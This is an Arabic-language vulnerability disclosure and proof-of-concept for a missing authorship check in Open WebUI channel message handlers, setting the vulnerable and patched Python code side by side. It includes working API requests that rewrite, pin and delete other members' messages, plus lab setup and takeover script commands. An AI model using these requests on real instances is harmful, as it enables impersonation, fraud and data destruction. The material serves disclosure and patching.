
إثبات مفهوم لاستغلال ثغرة تفويض في Open WebUI تتيح للمستخدمين ذوي الامتيازات المنخفضة تعديل وحذف رسائل قنوات الأعضاء الآخرين عبر استدعاءات API مُصمَّمة خصيصًا.
Open WebUI، الإصدارات المتأثرة من 0.5.0 إلى 0.10.2، تم إصلاح الثغرة في 0.11.0. الخطورة متوسطة، CVSS 5.4، CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L، CWE-284 وCWE-862.
في backend/open_webui/routers/channels.py، تتفرع معالجات تحديث الرسائل وحذفها بناءً على نوع القناة، ويطرح الفرعان سؤالين مختلفين. قنوات المجموعة والرسائل المباشرة تعتمد على المؤلف فقط.
if channel.type in ['group', 'dm']:
if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Membership is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if (
user.role != 'admin'
and message.user_id != user.id
and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
فرع القناة القياسي يمنح الصلاحية بناءً على إذن الكتابة وحده، وإذن الكتابة هو بالضبط ما يتطلبه new_message_handler للنشر، لذا قُبِلت القدرة على التحدث كقدرة على إعادة الكتابة والحذف. يتم تحقيق channel_has_access بمنح خاص بالمستخدم أو بمنح عام، لذا فإن غرفة خاصة مع متعاون تتأثر مثل قناة مفتوحة. نموذج التحديث يربط content وdata وmeta بينما طبقة النموذج لا تلمس message.user_id أبدًا، لذا تحتفظ الرسالة المعدَّلة باسم المؤلف الأصلي.
الاستغلال يتم عبر ثلاث استدعاءات API عادية من حساب بسيط بدور user، ليس في أي مجموعة، ولا يملك شيئًا ولم يؤلف أي رسالة.
POST /api/v1/channels/<id>/messages/<victim_msg>/update
{"content":"wire the funds to account 000",
"data":{"attacker_injected":true},
"meta":{"stored_payload":""}} -> 200
POST /api/v1/channels/<id>/messages/<victim_msg>/pin -> 200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete -> 200, true
الالتزام c609ec411 في 0.11.0 يقسّم الفحص: إذن الكتابة أولاً، ثم التأليف، مطابقًا لفرع المجموعة. يبقى التثبيت على مستوى الكتابة حسب التصميم.
else:
if user.role != 'admin' and not await channel_has_access(
user.id, channel, permission='write', strict=False, db=db
):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
# Write access is not authorship — block cross-member edits.
if user.role != 'admin' and message.user_id != user.id:
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
-e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2
python3 prep/lab_setup.py # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe # attacker, full channel takeover
أعد التشغيل مقابل 0.10.2 في 4 أغسطس 2026. تحذف البرامج النصية رسائل الأعضاء الآخرين، لذا وجّهها فقط إلى مثيل محلي مؤقت.
https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7